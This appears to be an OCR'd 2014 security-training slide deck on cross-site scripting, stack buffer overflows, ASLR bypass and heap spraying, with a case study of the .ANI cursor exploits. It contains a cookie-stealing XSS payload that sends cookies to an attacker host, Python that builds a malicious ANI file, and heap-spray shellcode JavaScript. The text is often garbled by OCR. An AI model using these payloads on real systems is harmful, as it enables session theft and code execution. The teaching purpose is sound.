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 Rene Freingruber (r.Freingruber@sec-consult.com)
«  Security Consultant
« Trainer

« Main fields of research:
« Web application security
* Internal network security
* Exploit development (Buffer overflow, Use-After-Free, ...)
« OS hardening, mitigation techniques
* Malware analysis
* Forensic
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SEC Consult —

ADVISOR FOR YOUR INFORMATION SECURITY

Advisor for your information securit

« Technical IT Security Experts
« External and Internal Security Assessments

« Specialists concerning the security of web applications
(ONORM A 7700)

« Experts for the implementation of security processes and
policies (ISO 27001, GSHB)

* Vendor-independent

« SEC Academy
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Advisor for your information securit

 Founded 2002
« Headquarters Vienna, Austria

o Offices:

* Wiener Neustadt (Austria)
* Frankfurt/Main (Germany)
* Vilnius (Lithuania)

* Montreal (Canada)

« Singapore

« Global established SEC Consult Vulnerability Lab
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Certificate
of Registrati
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: n Certificate No: IS 524814

Location Registered Activities
INFORMATION SECURITY MANAGEMENT SYSTEM - ISO/IEC 27001:2005 SEC Consult Untemehmensberatung GmbH All business and support processes (including all
Mooslackengasse 17 customer facing processes such as sales and delivery
Vienna and internal processes of procurement, IT and HR) as
This is to certify that: 1190 well as all employees and all information assets
Austria created, manipulated or used by these processes.
SEC Consult Unternehmensberatung GmbH SEC Consult Unternehmensberatung GmbH Accounting, Controlling and Sales as well as supporting
M_ooslackengasse 17 Prof -Dr.-Stephan-Koren StraBe 10 and administrative processes
Vienna Wiener Neustadt
1190 2700
Austria Austria
Holds Certificate No: 1S 524814
and op an Security M: System which complies with the requirements of ISO/IEC 27001:2005
for the following scope:
The rity System in relation to all business and support
processes (|nclutilg all customer facing processes such as sales and delivery and internal
processes of accounting, controlling, procurement, IT and HR) as well as all employees and
all information assets created, manipulated or used by these processes. Covered locations
are the ofﬁces at Mooslackengasse 17, Vienna, Prof.-Dr. —Stepha'l—Koten Strasse 10, Wiener
in G y. This is in acc he St: of
Appll-billly Vi 4 dated 13[01/2011
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Managing Director, BS| EMEA
Originally registered: 16/01/2008 Latest Issue: 14/02/2011 Expiry Date: 16/03/2014
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This cert i ically and remais property of BSI and is bound by the conditions of contract.
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short excerpt...

Austria

F’:.%.% BMF ’/./L datarreichische ING ’MDiBa :ica_t_

BUNDESMINISTERIUM LOTTERIEN Direktbank Austria the austrian registry
FUR FINANZEN

ANDRITL  AirPlus o e £0A

Germany

. * Bundesamt
DlBa 21 N fir Sicharheit in der
Informationstachnik
@.

[ ]
5 finanz informatik

Bayerisches Landesamt fiir “# ®
Statistik und Datenverarbeitung Ve

S
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information security specialists

Speakers at(eg)l(ggfpl)sonferences Certificates (excerpt)

oM CISA

DEEPSEC z=g=e

(DB |
un:y CERTU Crlsam Masnya%ement @
h’ ® RISK MANAGEMENT stems
Co-authors of international guidelines and standards OENORMES;OO ISO 27001
(excerpt) Auditor Lead Auditor
) @ i Publications (excerpt)
T *N CERT 4 <kes> lexitec
@585\" e
ITSECURITY
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leading in Central Europe

', symantec. ORACLE Research lab for the identification of vulnerabilities and

the analysis of new technologies, products and

Mi s N Q_RT E l. applications (security advisories)

NOKIA * Integral part of the education and the further training of
Connecting People the security experts at SEC Consult
SECURITY

SOHK'WA L[ ) ;tﬁ « Early information of our customers due to SEC Consult

security alerts

Joomlal’
O P E R A ...because open source matters
software « Support of well-known manufacturers to enhance the
macroms dia‘l security of their products
TYPO3 ¥ ™,
MySoiL:

Wpache Software Foundation
http://www.apache.org/

Companies and organisations SEC Consult has released security

advisories for (excerpt).
For details see: http://www.sec-consult.com/72.html
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* Introduction to Cross-Site-Scripting (XSS)
* Reflected vs. Stored XSS
* How to identify XSS
« Special situations of XSS

* Introduction to Browser Exploitation

- Buffer overflows, Use-After-Free, Integer Overflows, ...
- Qverview about current mitigation techniques

« Case study: Real-world Firefox exploit
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Introduction to Cross-Site-Scripting
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Cross-Site-Scripting XSS M
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« Consider a website with the abllity to search for keywords:

@ B (@ 127.001/testphp

SiMost Visitedv JllOffensive Security & Kali Linux "% Kali Docs

Search:

|m‘5.r_in|:uut || Search |
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« The input is used in the output of the website:

* lt'}" 127.0.0.1/test.php/name=my_input&submit=5earch

f5 Most Visited~ JlOffensive Security “_Kali Linux ' Kali Docs

Your search result:

MNo results fr.::r:
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 The generated HTML-code:

<html>

<head>

</head>

<body>

<h1l>=Your search result:</hl>
<p>No results for: fp::-
</body>

</html>
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* An attacker can now try add additional HTML-elements or
even JavaScript code:

* * |ﬂ'12?.ﬂ.ﬂ.l.-"test.|:-h|;.

5] Most Visited~ | Offensive Security “_Kali Linux " Kali Docs

Search:

|{fp}{hl}TE5t{fhl‘#{p}| || Search |
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 Result:

<html>

<head>

</head>

<body>

<hl>Your search result:</hl>

<p>No results for: /p::-
</body>

</html>
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 Result:

* | & 127.0.0.1/test.php?name=<¥2Fp><hl>Test<¥2Fhl><p>&submit=Search

f5Most Visited~ | Offensive Security “_Iali Linux % Kali Docs ﬂExanit—DEi

Your search result:

Mo results for:

Test
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« Executing JavaScript code:

@ B @ 127.00.1/testphp

S Most Visited~ JlOffensive Security "% Kali Linux " Kali Docs

Search:

|-::5cri|::t:ral.ert{lj;cfﬁcript:r || Search |
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 Results in:

« [ @ 127.0.0.1/test.php?name=<script>alert(1)%3B<%2Fscript>&submit=Search

i Most Visitedv¥ [l Offensive Security "% Kali Linux “§ Kali Docs EBExploit-DB W Aircrack-n:
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* URL contains the search-input

- An attacker can send a specially crafted URL to victims (e.g. via E-
Mail)

- If a victim opens the malicious URL, code in the context of the user
session can be executed by the attacker

« Example attack-vector:

<script>location.href =
'http://www.attacker.com/Stealer.php?cookie="

+document.cookie;</script>

 The complete attack-URL.:

http://vuln-site.ch/search.php?Searchquery=
$3Cscripts3Elocation.hrefs20%3D%20%52 7Thttps3AS2F52Fww
w.attacker.com%$2FStealer.php%3Fcookie%s3D%27%0A%2Bdoc
ument.cooki1e$3B%$3CS2Fscripts3ES0A
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« What we have discussed now is called ,reflected XSS*
because input from GET-variables (which are stored in the
URL) are reflected in the output of the website

- Attackers have to force a victim to visit the malicious URL
+ Atypical example for this type is the search-functionality
« This is also possible with POST-variables

« Stored (persistent) XSS" on the other side arise, if the
application stores user input in a database and later prints the
output

 Victims don‘t have to visit a malicious URL! Visiting the
vulnerable Website is enough!

« Examples: Guestbook, Forum, Profile page, Shoutbox, Private
Messages, ....
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« What is the main problem with the discussed code?
- ,,<,, does not get encoded by website!

« Therefore, it's possible to ,break out” of data input and add
additional commands
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* How the input was reflected:

<html>

<head=>

</head>

<body=>

<hl>Your search result:</hl>

<p>No results for: <script>alert(1l);</script></p>
</body>

</html>

* How the output should look:

<html>

<head>

</head>

<body>

<hl>Your search result:</hl>

<p>No results for: &lt;scriptégt;alert(l);&Llt;/scriptégt;</p>
</body>

</html>
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« Is it enough to just encode all occurrences of <, with ,&lt;*?

NO!

It heavily depends on the location where the reflected value is
used!
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Inside HTML code:
<hl>UserInput</hl>

As an attribute value:
<lnput value="UserInput”>

As a string in JavaScript:
<script> var s="UserInput”;</script>
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Injection inside attribute value b
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Value reflected as attribute:
<lnput type=text value=“UserInput”>

Input of attacker:
A” autofocus onfocus=alert (“XSS”)//

Result:

<lnput type=text value="A” autofocus
onfocus=alert (“XSS”)// ">
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How to identify XSS vulnerabilities

» Just trying the input ,<script>alert(1);</script>" will miss many
cases!
- E.g. Last example with attribute value injection

* The best approach is manual testing
« Use unique inputs, e.g. ,Aa12Bb34Cc56"
- Search in the source code of the resulting page (and others) for
this unique pattern

- Analyze the output and check which character is needed to
break out of the data-input
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* <input type=text value=“UserInput”>
* Input is within “, thus a “ is needed to break out

e <hl> UserInput </hl>

* No character is needed to “break out”, but “<" is needed to start
a new script-tag
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e <script> var s="UserInput”</script>
 Input is again between “, thus “ is needed to break out

« Possible attack vector:
* “,;alert (document.cookie) ;var x=%

* <a href=“UserInput">Favorite site</a>
 Input is between ™ as attribute
- ™ can be used to break out of href

e ™ gutofocus onfocus=alert(1l) //
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« Consider the last two examples:
°* <script> var s="UserInput”</script>

* <a href=“UserInput">Favorite site</a>

 If the application encodes v, Is the website safe?

NO!
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Special situations (1/2)

e <script> var s="UserInput”</script>
 It's possible to close the script tag within a JavaScript string!

B<html>
J<head>
-</head>
J<body>
J<script>

1

Il

var s = "</script><scriptralert(l) ;</script>";
-</script>

-</body>

-</html>

1
2
3
4
5 C
6
.
8
9
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e <script> var s="UserInput”</script>
 It's possible to close the script tag within a JavaScript string!

& iy R

v X |

' Google
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Special situations (2/2)

* <a href=“UserInput">Favorite site</a>

- |It's possible to execute JavaScript code by using javascript:
Inside the href-attribute

<html=>

z{head}

-</head>

J<body>

<a href="javascript:alert(l)">Favorite site</a>
-</body>

-</html>

=l & M = W N
Ml
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* <a href=“UserInput">Favorite site</a>

- |It's possible to execute JavaScript code by using javascript:
Inside the href-attribute

¢« @/ -~ C

e

" Google

u,
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Other interesting situations

* As shown it's often not as easy to identify a XSS vulnerability

« Other hard-to-identify XSS vulnerabilities:
- DOM-based XSS vulnerabilities
* Mutation-based XSS vulnerabilities

 We will have a short look at them, then continue to the actual
real topic of this talk!
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« Can occur in places where data under user control is directly
written to the DOM of the browser (JavaScript)

« E.g.: Document.write() where argument is partial under user
control should be analyzed in depth!

 Example:

<hl1>DOM based XSS Demo</hl>
J<script>

Il

var pos=document.URL.indexOf ("value=")+06;

var userInput=document.URL.substring(pos,document.URL.length) ;
document .write (unescape (userInput)) ;

-</script>
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« Expected behavior: ?value=abc

A @ fiie:/ || o htvelue=abc
DOM based XSS Demo

abc
« The not expected behavior: ?value=a<script>alert(1)</script>

| (- & file:..".."—doml.html?‘value:a< script>alert(1)</script>
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* The difference:
@ Quelitext von: file// || | R 1 i 7value=a%3Cscript%3Ealert(1)%3C/script%3E - Mozilla Firefox

Datei Bearbeiten Ansicht Hilfe

<html>

<head>

< /head>

<body>

<h1>D0OM based ¥55 Demo</hl>

<script>

var pos=document.URL. indexOf ("value=")+6;
var userlInput=document.URL.subkstring (pos,document .UREL. length])
document .Wwrite (unescape (userInput) ) ;

</ /=soript>

</body>

</ html >

« Source code does not contain the user input!
« When searching for unique inputs this vulnerability will be missed!

A URL such as dom1.html?#value=.... Can be used during an
attack to not create malicious logs on the server!
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Injection inside .innerHTML = ,inject_here";
« Browser ,fixes" code before adding it to the DOM!

* This can be useful if the programmer wrote incorrect code
because the browser fixes the code first

« Butit's also very useful for attackers .....

« Mario Heiderich held a great talk about mXSS!
 https://lwww.youtube.com/watch?v=Haum9UplQzU
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Mutation-based XSS vulnerabilities

« Examples are highly browser-specific

« The following examples are taken from the talk by Mario
Heiderich and target Internet Explorer in different versions

« Examples:

«  <div>123 = <div>123</div>
« <div/class=abc>123 > 4 <div class="“abc“>123</div>
- A<I>B = A<l---->B

Title: XSS and beyond
Version/Date: 1.0/10.06.2014 © 2014 SEC Consult Unternehmensberatung GmbH

Responsible: R. Freingruber All rights reserved

Confidentiality Class: Public



ADVISOR FOR YOUR INFORMATION SECURITY

Mutation-based XSS vulnerabilities

 Vulnerable code:
.innerHTML = , ..<img class=“INPUT“>1234 ..%;

« After ,fixing":

<img class=,input“>1234</img>

« Attacker input:
"7 src=x onerror=alert (1)

« The generated code:
<img class=""" src=x onerror=alert (1)"“>1234
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Mutation-based XSS vulnerabilities

« The generated code:
<img class=""" src=x onerror=alert (1)"“>1234

* Now the code gets ,fixed” before it is added to the DOM by
innerHTML =» Browser notice that there are already ~* to enclose
the class, thus “* can be removed!

* The ,fixed" code:
<img class="" src=x onerror=alert (l) >1234</img>

* It's possible to execute JS-code even if “ gets encoded!!
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<imgy srco=x alt="""onerror=alerti(l) ">

El “onerror=alert[1]

Microsoft Internet EXplorERES

AR B
document. write{innerHTML) | Apply style.cssText() | -EB

<IMG alt=""onerror=alert(l] zrc="http://htmlEzec.ory/innerhtml/ x>
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* Input:
<p style=,font-
family: ‘\22\3bx:expression(alert (1)) /* ">

 Result;

<P style=,FONT-FAMILY:
‘', x:expression(alert (1)) /YW ></P>

* Input:
<listing>&ltimg src=x onerror=alert(l) &gt

 Result:
<1lmg src=x onerror=alert (l)>
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« Possible actions which an attacker can do with XSS:
- Steal cookie to take over a session
- Start key-logging on the website
- Add a form with credentials input to steal credentials
« Write an XSS-Trojan/Worm (e.g. on Facebook, ...)
* Website Defacement
* Drive-by-Download

* The next part will discuss how it's possible to exploit a browser to
add a Drive-by-Download !
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* We now start to discuss how it's possible to force an application to do
something what it was not designed to do

« Our goal: Force the application to execute our own code!

* We can abuse different vulnerabilities to accomplish that:

Buffer overflows (either on stack, heap or in another segment)
Use-After-Free vulnerabilities

Integer Overflows

Format String Vulnerabilities

Stack-pointer shifting

Race Conditions

Type Confusion-Attacks

Null-pointer dereferences (in kernel-land)
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« Our focus today: Buffer overflows!

« But using a buffer overflow it's possible to overwrite different fields, e.qg.:
+ Saved return address
« Saved base pointer
« Exception handlers
« Local variables
* Arguments
* Heap chunk meta-data
« Other heap allocations

* Focus for today: Saved return address to keep the discussion simple!
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STACK

High address ot )
.0. Oxc0000000 1Nt malin
4 Byte 1 Old Values (e.9. 0xc ) {
S ESP EIP
—> MyFunc (99, 5, 0) ;
return 0O;

Stack }
grows
downwards

vold myFunc (

int a,
int b,
int c)

char buf[8];
l gets (buf) ;
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STACK
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High address

int main ()
4 Byte 1 Ol Values (e.g. 0xc0000000) {

 Arg: 100000006 P —  MyFunc(99,5,6);
ESP

return 0O;

Stack )
grows
downwayds

vold myFunc (

int a,
int b,
int c)

char buf[8];
l gets (buf) ;
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STACK
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High address . .
(e.g. 0xc0000000) int main ()

{
EIP —— MyFunc (99,5, 6) ;
return 0;

4 Byte 1 Old Values

Stack )
grows
downwayds

vold myFunc (

int a,
int b,
int c)

char buf[8];
l gets (buf) ;
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STACK
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High address . .
(e.g. 0xc0000000) int main ()

{
EIP —— MyFunc (99,5, 6) ;
return 0;

4 Byte 1 Old Values

Stack )
grows
downwards ESP
vold myFunc (
int a,
int b,
int c)

char buf[8];
l gets (buf) ;
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STACK
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High address . .
(e.g. 0xc0000000) int main ()

{
EIP —— MyFunc (99,5, 6) ;
return 0;

4 Byte 1 Old Values

Stack )

grows

downwards

vold myFunc (
ESP .

int a,
int b,
int c)

char buf[8];
l gets (buf) ;
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High address nt main ()
1 1
4 Byte 1 Old Values (e.g. 0xc0000000) :
P —— MyFunc (99,5,6);
return 0;
Stack )
grows
downwards
vold myFunc (
ESP .
int a,
int b,
int c)

char buf[8];
l gets (buf) ;
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High address . .
(e.g. 0xc0000000) int main ()

{
EIP —— MyFunc (99,5, 6) ;
return 0;

4 Byte 1 Old Values

Stack )

grows

downwards

vold myFunc (
ESP .

int a,
int b,
int c)

char buf[8];
l gets (buf) ;
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Classic buffer overflow

STACK

4 Byte 1 Old Values

Stack
grows
downwayds
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High address

ADVISOR FOR YOUR INFORMATION SECURITY

(e.g. 0xc0000000) int main ()

ESP

{
MyFunc (99, 5, 06) ;
return O;

EIP — > vo1d myFunc (

int a,
int b,
int c)

char buf[8];
gets (buf) ;

© 2014 SEC Consult Unternehmensberatung GmbH
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STACK

4 Byte 1 Old Values

Stack
grows
downwayds
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High address . .
(e.g. 0xc0000000) int main ()

{
MyFunc (99, 5, 06) ;
return O;

EIP — > vo1d myFunc (

int a,
int b,
int c)

char buf[8];
gets (buf) ;
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STACK
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High address Nt main ()
1 1
4 Byte 1 Ol Values (e.g. 0xc0000000) {
MyFunc (99, 5, 06) ;
return 0;
Stack )
grows
downwards
EIP — > vo1d myFunc (
EBP| int a,
g — ESP int b,
int c)

Title: XSS and beyond
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char buf[8];
gets (buf) ;
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STACK

High address int main ()
4 Byte 1 Old Values (e.g. 0xc0000000) {
16(%EBP) MyFunc (99, 5, 06) ;
12(%EBP) return O;
Stack )
grows 8(%EBP)
downwards
4(%EBP) EIP — > void myFunc (
EBP . EBP) int d,
> ESP '
-4(%EBP) 1n1€ b;
int c
J -8(%EBP) {
-12(%EBP) char buf[8];
l gets (buf) ;
}

Title: XSS and beyond
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STACK
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High address Nt main ()
1 1
4 Byte 1 Ol Values (e.g. 0xc0000000) {
MyFunc (99, 5, 06) ;
return 0;
Stack )
grows
downwards
EIP — > vo1d myFunc (
EBP| int a,
g — ESP int b,
int c)

Title: XSS and beyond
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char buf[8];
gets (buf) ;
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STACK
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High address Nt main ()
1 1
4 Byte 1 Ol Values (e.g. 0xc0000000) {
MyFunc (99, 5, 06) ;
return 0;
Stack )
grows
downwards
vold myFunc (
EBP int a,
g — ESP int b,
int c)

Title: XSS and beyond
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{

EIP —— char buf[8];
gets (buf) ;
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STACK

High address int main ()
4 Byte 1 OldValuss ] (69 0xc0000000) {
MyFunc (99, 5, 06) ;
return 0O;
Stack )
grows
downwayds
vold myFunc (
EBP| int a,
int b,
int ¢)
v ESP cip {
- char buf[8];
l gets (buf) ;

Title: XSS and beyond
Version/Date: 1.0/10.06.2014 © 2014 SEC Consult Unternehmensberatung GmbH

Responsible: R. Freingruber All rights reserved
Confidentiality Class: Public




A
Classic buffer overflow M

ADVISOR FOR YOUR INFORMATION SECURITY
STACK

High address nt main ()
1 1
4 Byte 1 Old Values (e.g. 0xc0000000) {
MyFunc (99, 5, 06) ;
return O;
Stack )
grows
downwayds
vold myFunc (
EBP int a,
N int b,
int ¢)
\'

ESP {
char buf[8];

l EIP — > gets (buf);
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Classic buffer overflow

STACK

4 Byte 1 Old Values

Stack
grows
downwa

EBP|

Title: XSS and beyond
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High address

(e.g. 0xc0000000)

ESP

Write Direction

EIP — >

ADVISOR FOR YOUR INFORMATION SECURITY

int main ()

{
MyFunc (99, 5, 06) ;
return 0O;

}

vold myFunc (

int a,
int b,
int c¢)

{

char buf[8];
gets (buf) ;

}

© 2014 SEC Consult Unternehmensberatung GmbH
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Classic buffer overflow

Stack
grows
downwa

EBP|

rds

STACK before BOF High address

Old Values

address

ESP

Title: XSS and beyond
Version/Date: 1.0/10.06.2014
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(e.g. 0xc0000000)

Hardcoded

EBP

Write direction

STACK after BOF

New RET address

© 2014 SEC Consult Unternehmensberatung GmbH
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Execution
path

EIP
after
ret-Instr.
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High address

NOT STATIC STACK after BOF

New RET address

EBP

Title: XSS and beyond
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« Address space layout randomization

« Randomizes:

Start address of the stack (local variables, function arguments, ..)
Start address of the heap (dynamically allocated variables)

Start address of the code segments

Address of PEB (process environment block)

Address of TEB (thread environment block)

Returned addresses of VirtualAlloc (since Windows 8.1)

« Security heavily depends on number of randomized bits

64-bit provides much more security than 32-bit!
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 There are many ways to bypass ASLR!
» For local 32-bit applications it's possible to brute-force
« Use an information leak vulnerable (see the later Firefox exploit!)

« Use not randomized segments (heap, VirtualAlloc() returned
memory, ...) ; mostly fixed these days

« Partial Overwrites (ASLR randomizes the upper bits, just overwrite
the lower bits to jJump to another code)

« Use a module which does not support ASLR (that's why you should
not have java 6 installed!)
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 Two vulnerabilities:
« MSO05-002
« MSO07-17

» Can be trigger via Firefox, internet explorer, ....
« E.g. code for internet explorer:

<html>

<body style="CURSOR:
url ('127.0.0.1/exploit.ani’) ”"</body>

</html>
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=10l x|

Started httpszerver on port 88
localhost — — [1?7/Mar-2814 B4:86:471 "GET ~ HTTP-1.1" 288 -

File Edit Wew Favo |

O Back - 7 ﬂ *
.ﬁ.ddressl '-'I a a0 | Links **

=IC

File Edit Format Miew Help

<htm1=
<BODY style="CURSCOR: url('127.0.0.1 /exploit.ani )"
<shtml =
=]
L[ |4 nternet L J | | |
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« ANI based on RIFF
 Consists of chunks

e Structure:

« 4 byte ASCII identifier, e.g. “RIFF”, “LIST”, “FMT “, “DATA”, ...
(note the space to pad to the length of four)

* 4 bytes length field; unsigned; little-endian; Length of the chunk
except ASCII identifier and the length field

- Variable-length data
+ Pad byte if chunk’s length is not even

Title: XSS and beyond
Version/Date: 1.0/10.06.2014 © 2014 SEC Consult Unternehmensberatung GmbH

Responsible: R. Freingruber All rights reserved
Confidentiality Class: Public




A
= ‘ \
Example .ANI exploit M
ADVISOR FOR YOUR INFORMATION SECURITY
0x0000: 52 49 46 46 0BC 12 00 00041 43 4F 4E 4C 45 53 54 RIFFM...ACONLIST
0x0010: [54 00 00 00143 4E 46 4F 49 4E 41 4D 16 00 00 00 T...INFOINEM....

Oxz0020: 44 69 6E BF 73 61 75 72 20 28 27 52 B3 b7 6Y BE Dinosaur [ 'Eegin
Oxz00350: 61 6C 64 27 29 00 49 41 52 54 29 00 OO0 00 43 6F ald').IART)...Co
Oz0040: 70 79 72 B9 BY B8 74 20 28 43 29 20 31 39 39 33 pyvright (C) 1993
Oxz0050: 20 4D 69 B3 72 BF 73 6F 66 74 20 43 £ 1 F Microsoft Corpo
OxzO00e0: 72 61 74 B9 BF BE 00 00 61 BE 6% 68 J24 00 OO0 OO0 ration..anihS...

Oxz00%0: 24 00 00 OO0 Oe OO OO 00 Oe OO OO OO OO OO OO OO S, e e e oo e

 Red box =» size of RIFF is 0x12bc

« Orange box =>» size of LIST is 0x54

* Blue box =» size of anih is 0x24

* Note that anih headers always have a fixed size of 0x24

* Variable which stores the anih header used hardcoded size of 0x24
» During parsing the specified length was used .....
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33
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35
36
37
35
39
40

Example .ANI exploit
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[—|def createlnii):

anih size = 120
riff size = anih size+id+4+4 # (data+anih size+anih+acon)
£ = mnm
t += "RIFF" # chunk identifier, RIFF as directory
t += struct.pack({'<L', riff =zize) # =2ige of the chunk (filesize - 8)
t += "LCCON" # header ID
t += Manih™ # chunk identifier for wuln. anih chunk
t += struct.pack({'<L', anih =zize) # wuln. =sige field
L += "ix0d"*anih =size # overwrite return address with 0x040d04d0d
= return t

e Qverwrites return address with 0x0d0d0dOd

« Use heap-spray to store shellcode at 0x0d0d0dOd
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Heap Spray
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« |dea: Allocate many many strings until every possible memory
address stores the string ...

 Then 0x0d0d0dOd must also store the string and ASLR is
bypassed

40 B
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55 |
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Version/Date: 1.0/10.06.2014 © 2014 SEC Consult Unternehmensberatung GmbH

Responsible: R. Freingruber
Confidentiality Class: Public

<SCRIPT language="javascriphk">
shellcode = unescape("%u3737%u3737" +
"Zud3eb"+"3uS5T756"+"3ud 580" +"FuBb3c"+"3ul554"+"Zull178"+"2u52ea" +
"Zu5048%ubb53%ucb433u5f8d3ucfeBsufffe’us56ff3uef8i%ul2bbzuedsb” +
"Fuebdlsufec2ZBuffffuc4B83%uelsc
bigblock = unescape {"%ulD0D%u0DOD"™)
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace) ;
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Arrayi();
for (i=0;i<700;i++) memory[i] = block + shellcode;
</SCRIPT>

All rights reserved
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=101 %]

Started httpserver on port 8H
localhost — — [12/Juns2814 B4:43:261 “"GET ~ HITP-1.1" 288 -

3 http://127.0.0

File Edit ‘iew Fawvorites  Tools  Help

O Back v () ~ ﬂ ﬂ H / ! Search #\.-' Favarites -51 | = B j‘}
fddress @ htkpejf127.0.0.1/ = &
| ¥MMap - Sysinternals: www.sysinternals.com o ]

File Edit ‘ew Options Help

0 Process;  iexplore.exe
b_'__fe PIC: 1104

vic |

Comrnitted: 62,180 K

| | L] 'E Before heap spray
L

Private Bytes: F.aza K

| | ok |

Wiarking Set; 17,488 K
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Started httpserver on port 86
localhost — — [12-/Jun-2014 B4:43:261 "GET ~» HTTP-1.1' 288 -
localhost — — [12/Jun- 2014 B4:46:261 "GET ~» HTTP-1.1' 288 -

| |'|||'MMap - Sysinternals: www. sysinternals.com

File Edit Yiew Options Help

Process: iexplore.exe
PIC: 1018

'f127.0.0.1/ - Microsol

Commitked:

it Wiew Favorites  Tools  Help

423052 K

| - - \ﬂ \ELI .;‘J | /._ ) Search ‘:ﬂ\z Favorites 6-?

Private Bytes:

-

368,172 K

| &1 http:/f127.0.0.1/

‘arking Set:

373400 K m x|

455 604 K
Irmage
M apped File

Shareable

Title: XSS and beyond
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Committed
423,052 F.

' "_n., After heap spray
Fa L3
] 4 |
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Il Address Space Fragmentation _ O] x|

Q00000000
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« Heap spray is a very common technique in browser (or pdf)
exploits

« It's applicable if the application can be forced to make big
allocations, e.g.: by using JavaScript code (the original technique
was used by exploits from team Teso against FTP servers)

e Address 0x0d0d0dOd has some benefits

» Misalignment is handled (e.g. 0x3132333431323334 vs.
0x0d0d0d0d0d0d0odod)

* Memory at address 0x0d0dOdOd contains most likely again
0x0d0d0dOd (which can be interpreter either as pointer or assembler
code; both cases are handled fine)

* 0x0d is valid assembler code and does not crash
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Heap Spray

L

e Return address was overwritten with 0x0d0d0dOd f

Bad
shellcode = unescape ("Ful0205 090205 u2090% e o ul0395 0000539 60%u3 1ehbt X
bighlock = unescape ("3ulD0Dszu0DOD™) ;
header=size = 20; A¢ Heap blocks in IE havwe 20 dwords as header Good
slackspace = headersize+shellcode. length v
while (bighlock.length<zlackspace) bighlock+=higbhlock: Bad 1
fillblock = bighlock.substring(0, slackspace): v
block = higbhlock.substring (0, bighlock. length-slackspace) ; 4

while (block. length+slackspace<0x40000) bhlock = block+block+fillbhlock: Good
Wemory = hnew Lrravyi():
for (i=0;i<700;i++) memory[i] = block + shellcode; X

Bad
¢ 0x0d0dOdOd must point to a location marked as +

,good“ to make the exploit working! Good
* If 0x0d0d0d0d points to ,bad” the application will  sad

»d
Ll |

»d
L |

Good
v
Title: XSS and beyond
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Return address was overwritten with 0x0d0d0dOd

Dump of memory after heap spray:

CPU - main thread

Title: XSS and beyond
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BOE0a0E0n
H0B0aE01 2
a0a0aEnt y»
A0OB0aE01c
A0B0a0=1
HOB0E0ZE
H0OB0aE02E
HOB0E0=H
HOB0E0=5

HOE0E03A
H0OE0E03F
H0OE0E044
HOE0E042
KOBDan4E
HOE0AE0s=S

B0E0a0E0n
BOE0aE0E0
BOE0a0E0n
BOE0a0E0n
BOE0a0E0n
BOE0a0E0n
BOE0a0E0n
HOE0A0E0
HOE0A0E0
HOE0A0E0
HOE0A0E0
HOE0A0E0
HOE0E0E0
|BoananE0n
|BoananE0n

OF EAX, 80808060
OF EAX,B0E0E060
)= E|:|::' HOHDADAD
)= E|:|::' HOHDADAD
)= E|:|::' HOHDADAD
)= E|:|::' HOHDADAD
)= E|:|::' HOHDADAD
OR ERX, B0B0E0ED0
OR EA, B0E0B0DED
OR ERX, B080E0ED0
OR ERX, B080E0ED0
OR EA, B0E0B0DED
OR ERX, B0B0E0ED0
OR ER=, A0aDAanan
OF ERX, a0DB0&0E0

© 2014 SEC Consult Unternehmensberatung GmbH
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« Execution will start executing ,OR EAX, 0x0d0d0d0d" until:

1 EFFGE EOE0E0ED , ERX, B0E0E0E0
EFF13 BOE0E0ED \ ER, B0E0E0ED0
EFF13 BOEOEDED \ EA, B0B0E0ED0
NOP sled EFF1D B0E0E0E0 i EAM, B0E0GE0E0
EFF2z BOE0E0ED , ERX, B0E0E0ED0
EFF27 :
EFF2C
I EFFZ
EFF 2
Break for | gaeects
debugging EFESL
Y EFF33
E E:g:g
ol ol el
EFF2E ' ESF
shellcode EFF0 =
v EFF2F o
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, A -
EMET Heap Spray Mitigation M

* There are just a handful of possible heap spray addresses:
* 0x0d0d0dod
* 0x0b0b0b0Ob
» 0Ox0aOa0lala

« l|dea: Pre allocate all these pages, thus it's no longer possible
to store strings at these addresses

* Implemented by EMET (Heap Spray)
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« We discussed MS05-002

« Microsoft released a patch which adds two lines of code
which checks the size of the anih header in the
LoadCursorlconFromFileMap() function

* Problem fixed! Really?
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« Two years later a worm exploited another .ANI vulnerabillity in
the wild....

* The vulnerability was patched in
LoadCursorlconFromFileMap(), but LoadAnilcon() used the
same code for parsing ....

* LoadAnilcon() assumes that LoadCursorlconFromFileMap()
correctly checks the anih header size

« LoadCursoriconFromFileMap() correctly checks the first anih
header

- But LoadAnilcon() parses all anin headers in the file ......

« = Add two anih headers, a correct one and a malicious one...
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Demo - .ANI Exploit

3z
13
34
15
16
37
15
13
50
51
a2
a3
a4
a5
(=)
a7
ad
a9
&0
61
B2
63
&4
65

Hdef createlini()
anih size =

riff =ize
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200
2000 # must be large enough

£ = e
t += "RIFF" # chunk identifier, RIFF as directory
t += struct.pack('<L', riff size) # =ize of the chunk (filesize - &)
t += "ALCON" # header ID
# Valid anih chunk
t 4= Manih"
t += gtruct.pack{'<L', 38) # =i=ze
t 4= struct.pack{'<L', 38) # =i=ze
t += struct.pack({'<L', 10) # frames
t += struct.pack({'<L', 10) # =steps
t += struct.pack({'<L', 03*%5 # other f£ields
t += struct.pack({'<L', 1} # flags
# Maliciou=z anih chunk
t += TManih"™ # chunk identifier for wvuln. anih chunk
t += struct.pack('<L', anih size) # wuln. size field
t += "ix0d"*anih size
7 return t©

© 2014 SEC Consult Unternehmensberatung GmbH
All rights reserved




Demo - .ANI Exploit

7} Cannot find server - Microsoft Internet Explorer

File Edit View Favorites Tools  Help

ADVISOR FOR YOUR INFORMATION SECURITY

=181 x|

| &

@Back - Q - @ @ <h|p55arch ‘E:\L(Favuntes @| ﬁv ; :

(33

Address |@ http: ffwww. worldusa,com;

B> |me o

@ The page cannot be displayed

The pags you are lacking far is currently unavailable. The Web
site might be experiencing technical difficulties, or you may need
to adjust your browser settings.

@@ ANI File M507-17 (Ret BaF)

File Edit Wew Favorites Tools  Help

E

Pleass try ths following:

eﬁack - 0 - ‘@7 pSEarEh |[~ Folders ‘

Click the
If you typed the page address in the Address bar, make

Refresh buttan, or try again later.

Addvess 55 C:tDocuments and Settingstr riDeskioptiuinProgramms!Brawser |ANL File MSU7-17 {Ret BoF)

sure that it is spelled correctly,
To check your connection settings, click the Tools menu,
and then click Internet Options. On the Connections
tab, click Settings. The settings should match thoss
provided by your local area netwark (LAN) adrninistrator or
Internet service provider (ISP,
See if your Internet connection settings are being dstected,
